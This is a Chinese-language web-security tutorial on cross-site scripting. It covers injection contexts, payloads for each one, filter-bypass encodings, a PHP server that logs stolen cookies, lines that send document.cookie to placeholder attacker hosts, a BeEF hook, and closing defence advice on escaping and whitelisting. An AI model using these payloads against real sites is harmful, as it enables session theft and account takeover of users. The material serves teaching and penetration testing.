XSS简介
跨站脚本攻击也就是我们常说的XSS,是Web攻击中最常见的攻击手法之一,通过在网页插入可执行代码,达到攻击的目的。本质上来说也是一种注入,是一种静态脚本代码(HTML或Javascript等)的注入,当览器渲染整个HTML文档时触发了注入的脚本,从而导致XSS攻击的发生。
XSS的分类
类型 | 存储区 | 插入点 |
---|---|---|
存储型 | 后端数据库 | HTML |
反射型 | URL | HTML |
DOM型 | 后端数据库/前端存储/URL | 前端JavaScript |
HTML元素
共有5种元素:空元素、原始文本元素、RCDATA元素、外来元素、常规元素。
空元素
area、base、br、col、command、embed、hr、img、input、keygen、link、meta、param、source、track、wbr
原始文本元素
script、style
RCDATA元素
textarea、title
外来元素
来自MathML命令空间和SVG命名空间的元素
常规元素
其他HTML允许的元素都称为常规元素
XSS挖掘思路
XSS漏洞的本质是一种注入,是一种静态脚本代码的注入。
那么,大体的挖掘思路就显而易见了:寻找可控点(参数)-> 尝试注入
XSS的可控点(业务)
XSS出现场景分析
可控点:
-
输出内容在标签之间
-
普通标签如
<pre>
内 -
RCDATA标签如
<textarea>
内
-
-
输出内容在标签属性中
-
输出在普通标签
value
属性中 -
输出在
src/href
属性中
-
-
输出内容在
<script>
标签中 -
输出内容在特殊响应包中:
Content-Type
为text/javascript
的响应包中 -
输出结果在CSS中:比较少见,现有浏览器基本可以进行防御
输出结果在标签之间
相关案例
<pre>[---用户输入---]</pre>
测试方法:直接插入XSS Payload即可触发
<!--用户输入:<svg onload="alert(1)"></svg>-->
<html>
<head></head>
<body>
<pre>
<svg onload="alert(1)"></svg>
</pre>
</body>
</html>
输出结果在RCDATA之间
相关案例
<textarea>[---用户输入---]</textarea>
测试方法:直接插入XSS Payload无法触发,需要先闭合,再新建。
<!--用户输入:</textarea><svg onload="alert(1)"></svg>-->
<html>
<head></head>
<body>
<textarea></textarea>
<svg onload="alert(1)"></svg>
</body>
</html>
补全标签后浏览器成功将Payload解析成标签体(在浏览器看代码颜色是彩色的)
输出结果在标签属性中
相关案例
<input type=‘text‘ value=‘[---用户输入---]‘>
测试方法
<!--用户输入:alert(1)-->
<input type="text" value="" onclick="alert(1)">
<!--用户输入:"><svg/onload=alert(1)>-->
<input type="text" value=""><svg/onload=alert(1)>">
输出结果在SRC/href属性中
相关案例
<iframe src=‘[---用户输入---]‘></iframe>
测试方法
方法一:参考输出结果在标签属性中
方法二:利用协议(常用的JavaScript协议、DATA协议)
<iframe src=‘javaScript:alert(1)‘></iframe>
其他情况
-
输出内容在
<script>
标签中:尝试闭合JS语句进行触发 -
输出内容在
Content-Type
为text/javascript
的响应包中:尝试原JS语句进行触发 -
输出内容在CSS代码中:IE浏览器支持CSS中的expression,利用此类表达式可以执行XSS。
<span style="color:1;x:expression(alert(/xss/));"></span>
XSS危害
常用的触发XSS的HTML标签
<iframe> 会创建包含另外一个文档的内联框架(即行内框架)
<textarea> 定义多行的文本输入控件
<img> 向网页中嵌入一幅图像
<script> 定义客户端脚本,即可包含脚本语句,也可通过src访问外部脚本
<input>
<svg/onload=alert(1)> svg大法!!!
<a>
其实自己创建标签也能弹窗,比如<zxc onclick=alert(1)>xss</zxc>
常用的JavaScript方法
alert
window.location
location.href
onload
onsubmit
onerror
构造XSS脚本
弹窗警告(做测试使用)
<script>alert(‘xss‘)</script>
<script>alert(document.cookie)</script>
页面嵌套
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>
页面重定向
<script>window.location="http://www.baidu.com"</script>
<script>location.href="http://www.baidu.com"</script>
弹窗警告并重定向(克隆网站,收集账户)
<script>alert("请移步我们的新站");location.href="http://www.baidu.com"</script>
<script>alert(‘xss‘);location.href="http://10.1.64.35/robots.txt"</script>
访问恶意代码
<script src="http://ipaddress.com/xss.js"></script>
<script src="http://BeEF_IP:3000/hook.js"></script> 结合BeEF收集用户cookie
巧用图片标签
<img src="#" onerror=alert(‘xss‘)>
<img src="javascript:alert(‘xss‘);">
<img src="http://BeEF_IP:3000/hook.js"></img>
绕开过滤脚本
大小写:<ScrIpt>alert(‘xss‘)</SCRipt>
字符编码:采用URL、Base64等编码
收集用户cookie
<script>window.open("http://ip.com/cookie.php?cookie="+document.cookie)</script>
<script>document.location("http://ip.com/cookie.php?cookie="+document.cookie)</script>
<script>new Image().src="http://ip.com/cookie.php?cookie="+document.cookie;</script>
<img src="http://ip.com/cookie.php?cookie="+document.cookie></img>
<iframe src="http://ip.com/cookie.php?cookie="+document.cookie></iframe>
<script>new Image().src="http://ip.com/cookie.php?cookie="+document.cookie;
img.width = 0;
img.height = 0;
</script>
DOM型XSS
区别于其他的就是DOM型XSS不经过服务端,而是在前端的函数中直接执行。在BurpSuite中抓包是抓不到的。比如在#
号之后的东西,在BurpSuite中是看不到的。
http://192.168.0.123/xss/domxss.jsp?id=1#javascript:alert(1)
在BurpSuite中抓包如下
GET /xss/domxss.jsp?id=1
因为在前端代码中,<script>
中写的有问题,有个location.hash
,而且没有做任何处理,就做了个跳转,从而我们可以使用Javascript伪协议触发了此DOM型XSS
<script>
var hash = location.hash;
if (hash) {
var url = hash.substring(1);
location.href = url;
}
</script>
实例:通过XSS漏洞获取Cookie值
构建收集cookie服务器
启动apache
systemctl start apache2
创建php文件
vim /var/www/html/cookie_rec.php
<?php
$cookie = $_GET[‘cookie‘];
$log = fopen("cookie.txt","a");
fwrite($log, $cookie . "
");
fclose($log);
?>
更改/var/www
目录的权限
chown -R www-data.www-data /var/www/
构造XSS代码并植入到web服务器
<script>windows.open(‘http://kali.address/cookie_rec.php?cookie‘+document.cookie)</script>
如果前端限制了max-length
,直接F1打开开发者工具,前端改掉长度限制。然后等待靶机触发XSS代码并将cookie发送到Kali
XSS蠕虫
一种具有自我传播能力的XSS攻击,杀伤力很大,引发XSS蠕虫的条件比较高,需要在用户之间发生交互行为的页面,这样才能形成有效的传播。一般要结合反射型XSS和存储型XSS。
XSS平台
是为了XSS漏洞利用而生,最基础的功能是利用XSS漏洞盗取客户端的cookie数据,获取到cookie后就可以充当客户身份登录平台。
XSS漏洞绕过思路
常见姿势:
-
双URL编码
-
Multipart方式提交
-
浏览器容错性
-
编码绕过
-
<svg>
标签绕过 -
data协议
-
html标签闭合
场景1:HTML实体编码+过滤缺陷绕过
-
<>
做了HTML实体编码- 应对方式:继续在标签内找机会,比如参数覆盖等
-
过滤了常见的JS事件
- 应对方式:使用BurpSuite暴破看看其他事件是否过滤
-
过滤了alert等常见的触发方法
-
应对方式:ASCII编码、Unicode编码、HTML实体十六进制编码
最终Payload
openid=test"type="text"onmouseout="\u0061\u006c\u0065\u0072\u0074(1)
场景2:组合编码+Data协议绕过
-
特殊符号被HTML实体编码
- 应对方式:双重URL编码
-
过滤了绝大部分的JS事件
-
过滤了大部分标签
- 应对方式:创建新的标签
<embed>
- 应对方式:创建新的标签
test%2522%253e%253cembed%2520src=%253e
# test"><embed src>
-
过滤了JavaScript协议以及base64关键字
- 应对方式:编码解决
<embed src="data:text/htmL;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+">
# PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+为<svg/onload=alert(1)>的base64编码
# 尝试对逗号进行HTML实体编码(`,`),这里对`&#`也进行了拦截,双重URL编码即可
最终Payload
test%2522%253e%253cembed%2520src=data:text/html:base64%2526%252344;PHN2ZyBvbmxvYWQ9YWxlcnQoMSk%252b%253e
心得1::
特殊编码
服务端程序存在HTML编码操作,但由于把:
编码为:
比较特殊,Java语言的方法无法对其进行HTML实体转化,但是浏览器可以正常转化,所以可以利用此方法来尝试绕过。
XSS防护
程序开发者
-
对用户提交内容进行合法性校验
-
对用户提交内容进行转义处理,建议输出转义,因为输入转义容易影响数据库的数据存储。
-
对用户输入的长度进行限制
需作转义的字符 | 字符实体编码 |
---|---|
& | & |
< | < |
> | > |
" | " |
‘ | ‘ |
/ | / |
普通用户
-
不要轻易访问别人给你的长链接,它可能包含了转码后的恶意HTML代码
-
禁止浏览器运行JS和ActiveX代码
特殊字符处理
一般的XSS漏洞是因为没有过滤特殊字符,导致可以通过注入单双引号以及尖括号等字符利用漏洞。我们常见的利用代码比如
‘"><img src=x onerror=alert(/xss/)>--
<script>alert(/xss/)</script>
我们可以看到或是利用了特殊字符将原本正常的标签闭合进行利用,所以对特殊的字符进行过滤是可行的。
特殊字符列表如下:
-
单引号(
‘
) -
双引号(
"
) -
尖括号(
<>
) -
反斜杠(
\
) -
冒号(
:
) -
and符(
&
) -
井号(
#
)
这些字符应该怎么过滤?这些字符什么时候过滤?
在正常系统中,为了保证用户体验以及数据的原始性,最好的过滤方式是在输出的时候进行如HTML实体一类的转码,防止脚本注入。
HTML转义输出
上面说到,特殊字符处理不能涵盖所有方面,有些特殊的地方要求输入特殊字符该怎么办呢?这里可以对所有输出和二次输出进行转义,可以最大限度保存数据的同时保证安全,可以用HtmlUtils实现HTML标签和转义字符的转换。
String string = HtmlUtils.htmlEscape(userinput); // 对字符进行转义
String s2 = HtmlUtils.htmlUnescape(string); // 对字符进行恢复
标签事件属性黑名单
之前我们提到了过滤特殊字符防止XSS漏洞,实际上,即使过滤了也同样可能会被绕过,比如利用宽字节注入一样的方式吃掉斜杠,然后再利用标签事件来执行js代码,面对这种情况,建议是加标签事件的黑名单或者白名单,这里推荐白名单,实现规则可以用正则进行匹配。OWASP开源项目上面可以看到可以触发事件的标签,可以根据标签根据业务需求编写黑名单或者白名单。
参考:XSS Filter Evasion Cheatsheet
白名单参数限制
白名单限制应该是最安全的防御思路了,可以在filtter中编写相关的参数样式,然后过滤,如针对手机号码,只接收11位数字以13,15,17,18,19开头的数字,如果不是这些style则应该拒绝任何响应。